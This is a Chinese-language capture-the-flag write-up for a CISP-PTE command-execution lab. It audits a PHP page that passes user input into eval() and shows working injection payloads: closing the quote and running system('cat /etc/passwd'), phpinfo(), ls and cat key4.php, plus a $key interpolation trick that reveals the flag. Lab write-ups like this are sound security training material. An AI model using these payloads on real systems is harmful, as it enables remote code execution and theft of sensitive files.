目录
[(2)执行?a=key查看](#(2)执行?a=key查看)
本文通过2种渗透方法详细讲解CISP-PTE靶场命令执行关卡的渗透实战全流程。通过代码审计发现靶场存在eval()函数,用户输入未经过滤直接拼接执行,导致代码注入风险。实战中演示了两种渗透方法,完整展示了从代码审计到渗透利用的全过程,揭示了eval()函数不当使用导致的安全隐患。
- 通过闭合双引号注入system()或phpinfo()等命令,成功执行系统命令并获取敏感文件;
- 利用变量读取直接获取$key值。最终成功获取flag值"key4:gjpm4ayr"
一、代码审计
1、打开靶场
打开靶场,如下所示页面显示的是源码信息,代码通过GET参数a接收用户输入,使用eval函数动态执行将输入转换为小写的操作。
http://31cc0257.clsadp.com/

代码的主要功能如下所示。
error_reporting(0);:关闭错误提示,隐藏执行过程中的错误信息,增加调试难度。include "key4.php";:包含key4.php文件(可能是关键文件,但此处暂不影响分析)。$a = $_GET['a'];:从 GET 参数a获取用户输入。eval("\$o=strtolower(\"$a\");");:将用户输入$a拼接到字符串中,通过eval()执行,最终将结果转为小写后赋值给$o。strtolower是 PHP 中的一个内置字符串函数,其功能是将字符串中的所有字母字符转换为小写形式。该函数接受一个字符串参数,返回一个新字符串,其中所有大写字母(A-Z)都被转换为对应的小写字母(a-z),而非字母字符(如数字、符号、中文等)则保持不变。echo $o;:输出$o的值。show_source(__FILE__);:显示当前文件的源代码。
2、分析源码
源码实现了将用户输入的GET参数a转换为小写并输出的功能,但存在严重的代码注入风险。代码使用eval函数动态执行字符串拼接操作,将用户输入的a参数直接拼接到"\\o=strtolower("$a");"语句中执行,由于缺乏有效的输入过滤和验证机制,攻击者可通过闭合双引号、添加分号等方式注入任意PHP代码,如"?a=");phpinfo();//"即可执行phpinfo函数,导致远程代码执行、敏感文件读取、系统命令执行等安全风险
<?php
// 关闭所有错误报告,防止路径、变量等敏感信息通过错误信息泄露给攻击者
error_reporting(0);
// 包含可能存储敏感数据的文件(如数据库密码、API密钥等)
include "key4.php";
// 从GET请求获取参数'a'的值,该参数完全由用户控制,是攻击入口
$a = $_GET['a'];
/**
* 关键安全风险点:代码注入
* eval()函数将字符串作为PHP代码执行
* 用户输入$a被直接拼接到代码字符串中,未经过任何过滤
* 攻击者可以闭合双引号并注入任意PHP代码
*
* 示例:如果$a = 'test");phpinfo();//'
* 实际执行:eval("$o=strtolower("test");phpinfo();//");");
* 分解:
* - $o=strtolower("test"); // 原定代码
* - phpinfo(); // 注入的恶意代码
* - //"); // 注释掉剩余部分
*/
eval("\$o=strtolower(\"$a\");");
// 输出处理后的结果(可能包含攻击者注入代码的执行结果)
echo $o;
// 显示当前文件的源代码,可能意外泄露服务器路径和代码逻辑
show_source(__FILE__);
?>
二、渗透实战
1、闭合测试
(1)获取/etc/passwd
构造payload,通过代码注入先使用"提前闭合eval函数中的双引号字符串,然后注入system('cat /etc/passwd')系统命令执行语句读取系统密码文件,最后利用//注释符忽略原代码剩余部分的");避免语法错误。当服务器执行eval时,实际代码变为$o=strtolower("");system('cat /etc/passwd');//,从而绕过应用逻辑直接执行系统命令,成功获取Linux系统的用户账户信息,造成敏感系统文件泄露。
?a=");system('cat /etc/passwd');//
http://31cc0257.clsadp.com/?a=");system(%27cat%20/etc/passwd%27);//

(2)执行phpinfo
构造payload,通过代码注入技术,首先使用\"提前闭合eval函数中的双引号字符串,然后注入phpinfo()函数调用语句,最后利用//注释符忽略原代码的剩余部分\");以避免语法错误。当服务器执行eval时,实际运行代码变为$o=strtolower("");phpinfo();//,从而完全绕过正常的字符串处理逻辑,直接执行phpinfo函数输出服务器详细配置信息。
?a=");phpinfo();//
-
变量赋值 :
$a的值现在是字符串"");phpinfo();//。 -
拼接字符串:
-
原始代码:
eval("\$o=strtolower(\"$a\");"); -
将
$a替换为它的值:eval("\$o=strtolower(\"\");phpinfo();//\");"); -
现在,要执行的代码字符串是:
"$o=strtolower(\"\");phpinfo();//\");"
-
-
执行 eval: PHP 开始执行这段被"篡改"的代码:
-
$o = strtolower("");// 执行原计划的部分,但内容是空的 -
phpinfo();// 执行了攻击者注入的新代码! 这会输出服务器的全部配置信息。 -
//");// 这是注释,后面的内容\");"被忽略,从而不会产生语法错误。http://31cc0257.clsadp.com/?a=");phpinfo();//
-

2、查看当前目录ls
构造payload,通过代码注入技术,首先使用\"提前闭合eval函数中的双引号字符串,然后注入system('ls')系统命令执行语句列出当前目录文件,最后利用//注释符忽略原代码的剩余部分\");以避免语法错误。当服务器执行时,实际运行代码变为$o=strtolower("");system('ls');//,从而完全绕过strtolower函数限制,直接执行系统命令实现目录遍历和信息收集。
?a=");system('ls');//
http://31cc0257.clsadp.com/?a=%22);system(%27ls%27);//

3、方法1:cat查看flag文件
(1)执行cat查看命令
构造攻击payload,通过语法闭合和代码注入技术,首先使用"提前结束eval函数中的双引号字符串,然后注入system('cat key4.php')系统命令执行语句,最后利用//注释掉原代码的剩余部分的");以避免语法错误。当服务器执行eval时,实际运行代码变为$o=strtolower("");system('cat key4.php');//,从而绕过正常逻辑直接执行系统命令读取key4.php文件内容,实现敏感信息泄露。完整的Payload如下所示。
?a=");system('cat key4.php');//
http://31cc0257.clsadp.com/?a=");system('cat key4.php');//

(2)右键元素查看flag
右键元素,查看flag,如下所示渗透成功。

(3)右键源码查看flag
右键源码,查看flag,如下所示渗透成功。

4、方法2:读取变量法获取key
(1)源码分析
如上图所示CTF-PTE关卡的key值保存在变量$key中,如下所示。
<?php
$key="key4:gjpm4ayr";
?>
在文件开头已经包含了key4文件 直接尝试echo $key命令
(2)执行?a=$key查看
构造payload,利用PHP双引号字符串的变量插值特性,当输入?a=$key时,eval函数中的\"$a\"在代码执行前会将$key变量替换为key4.php文件中定义的实际值"key4:gjpm4ayr",最终执行$o=strtolower("key4:gjpm4ayr")并输出小写结果。这种手法通过变量引用间接泄露敏感信息,无需显式代码注入就成功获取了密钥内容,利用了PHP语言特性而非直接利用。
?a=$key
http://31cc0257.clsadp.com/?a=$key
如下所示渗透成功了,成功获取到key值。

服务端执行命令的整个攻击链如下所示,成功获取到flag值。
|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| // 1. 包含key4.php文件,定义key变量 include "key4.php"; // 现在 key = "key4:gjpm4ayr" // 2. 获取用户输入 a = _GET['a']; // a = "key" (字符串"key",不是变量) // 3. 执行eval语句 - 这是关键步骤! eval("\\o=strtolower(\"key\\");"); // 原始:eval("\\o=strtolower(\"key\\");"); // PHP解析双引号字符串时进行变量替换: // "key" 被替换为 "key4:gjpm4ayr" // 最终执行 eval("\o=strtolower(\\"key4:gjpm4ayr\\");"); //4.**最终输出** echo o; // 输出:key4:gjpm4ayr |